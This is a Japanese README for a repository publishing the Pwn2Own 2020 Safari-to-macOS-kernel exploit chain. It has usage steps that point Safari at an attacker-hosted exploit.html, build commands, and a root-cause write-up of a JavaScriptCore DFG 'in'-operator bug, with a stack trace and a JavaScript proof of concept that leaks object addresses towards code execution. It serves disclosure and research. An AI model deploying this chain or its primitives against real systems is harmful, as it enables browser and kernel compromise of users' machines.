
6つの脆弱性を連鎖させてSafari経由でmacOSカーネルを侵害する
このリポジトリには、macOS 10.15.3 を対象としたカーネル権限昇格を伴う Apple Safari への Pwn2Own 2020 優勝提出 のエクスプロイトおよび技術的詳細が含まれています。詳細については、Blackhat USA 2020 のスライド と ビデオ もご覧ください。また、このリポジトリには、エクスプロイト成功時の デモビデオ も含まれています。
2. Safariで攻撃者サーバーのIPを使用してウェブサイトにアクセスする:```
http://[attacker_ip]/exploit.html
csrutil status コマンドを実行してください。disabled と表示されます。便宜上、コンパイル済みのペイロード payload.js を提供しています。ただし、ご自身で
ビルドすることもできます。これには非常に長い時間がかかることに注意してください。
なぜなら、エクスプロイトチェーンの一部として WebKit をビルドするからです。なお、
ビルドプロセスは Mac OS でのみテストしたことも記しておきます。```shell
$ python3 -m pip install --user lief $ make
技術的な詳細
-----------------
このエクスプロイトを成立させるために、私たちは以下の*6つ*の脆弱性を連鎖させました。
### 1. JavaScriptCore DFGコンパイラにおける'in'演算子の誤った副作用モデリングによるSafariでのリモートコード実行
- 根本原因の分析
JavaScriptCoreでは、インデックス付きプロパティが'in'演算子で問い合わせられた場合、
DFGコンパイラは、この操作をインターセプトできるプロキシオブジェクトが
プロトタイプチェーン内に存在しない限り、その操作は副作用が無いものと想定します。
JavaScriptCoreは、このインデックス付きプロパティアクセスをインターセプトできるオブジェクトを、
'MayHaveIndexedAccessors'というフラグを使用してマークします。
このフラグは、Proxyオブジェクトに対して明示的にマークされます。```javascript
0 in [] // side-effect free
let arr = [];
arr.__proto__ = new Proxy({}, {});
0 in arr // can cause side-effect!
しかし、副作用を引き起こす可能性のある別のオブジェクトがあります。
独自の getOwnPropertySlot() メソッドを実装する JSHTMLEmbedElement です。1つ
の方法として、'in' 演算子で JavaScript コールバック(すなわち副作用)をトリガーするには、
PDFプラグインを備えた <embed> 要素を使用します。プロパティが embed / object タグの DOM オブジェクトで照会されると、
背後にあるプラグインをロードしようとし、
PDFプラグインの場合は DOMSubtreeModified イベントハンドラが呼び出される可能性があります。なぜなら、
body 要素に対して appendChild メソッドを使用するからです。
これは、getOwnPropertySlot() から副作用を呼び出したときのスタックトレースです。```txt Stack trace #1 0x1c1463dbb in WebKit::PDFPlugin::PDFPlugin(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1463dbb) #2 0x1c144cac7 in WebKit::PDFPlugin::create(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x144cac7) #3 0x1c1b65d48 in WebKit::WebPage::createPlugin(WebKit::WebFrame*, WebCore::HTMLPlugInElement*, WebKit::Plugin::Parameters const&, WTF::String&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1b65d48) #4 0x1c18cddc4 in WebKit::WebFrameLoaderClient::createPlugin(WebCore::IntSize const&, WebCore::HTMLPlugInElement&, WTF::URL const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::String const&, bool) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x18cddc4) #5 0x1cfb3f224 in WebCore::SubframeLoader::loadPlugin(WebCore::HTMLPlugInImageElement&, WTF::URL const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, bool) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d01224) #6 0x1cfb3f62c in WebCore::SubframeLoader::requestObject(WebCore::HTMLPlugInImageElement&, WTF::String const&, WTF::AtomString const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d0162c) #7 0x1cf424c85 in WebCore::HTMLPlugInImageElement::requestObject(WTF::String const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35e6c85) #8 0x1cf300912 in WebCore::HTMLEmbedElement::updateWidget(WebCore::CreatePlugins) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c2912) #9 0x1cfd0a57e in WebCore::FrameView::updateEmbeddedObject(WebCore::RenderEmbeddedObject&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc57e) #10 0x1cfd0a807 in WebCore::FrameView::updateEmbeddedObjects() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc807) #11 0x1cfcf19c7 in WebCore::FrameView::updateEmbeddedObjectsTimerFired() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3eb39c7) #12 0x1cedbd595 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f7f595) #13 0x1cf41b681 in WebCore::HTMLPlugInElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dd681) #14 0x1cf2ffc2d in WebCore::HTMLEmbedElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c1c2d) #15 0x1cf41ad77 in WebCore::HTMLPlugInElement::pluginWidget(WebCore::HTMLPlugInElement::PluginLoadingPolicy) const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dcd77) #16 0x1ce7b3e26 in WebCore::pluginScriptObjectFromPluginViewBase(WebCore::HTMLPlugInElement&, JSC::JSGlobalObject*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975e26) #17 0x1ce7b3dca in WebCore::pluginScriptObject(JSC::JSGlobalObject*, WebCore::JSHTMLElement*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975dca) #18 0x1ce7b4023 in WebCore::pluginElementCustomGetOwnPropertySlot(WebCore::JSHTMLElement*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2976023) #19 0x1cca3e913 in WebCore::JSHTMLEmbedElement::getOwnPropertySlot(JSC::JSObject*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc00913) #20 0x1e946dd6c in llint_slow_path_get_by_id (.../WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x232ad6c)
プロトタイプチェーン内のオブジェクトはどれも"MayHaveIndexedAccessors"でマークされていないため、JITはこの'in'演算子の使用には内部に遷移が含まれないものと想定し、遷移後に配列型チェックを除去します。```javascript
// In the frame of
function opt(arr) {
arr[0] = 1.1;
100 in arr; // 100 not exists in arr, making it check __proto__
return arr[0]
}
for(var i = 0; i < 10000; i++) opt([1.1])
arr.__proto__ = document.querySelector('embed')
document.body.addEventListener('DOMSubtreeModified', () => {
arr[0] = {}
})
document.body.removeChild(embed)
opt([1.1]) // leaks address of {} as double value
これをもとにaddrof/fakeobjプリミティブを構築することで、任意の RWプリミティブを作成して、JITコンパイルされたJavaScript関数でコード実行を実現できます。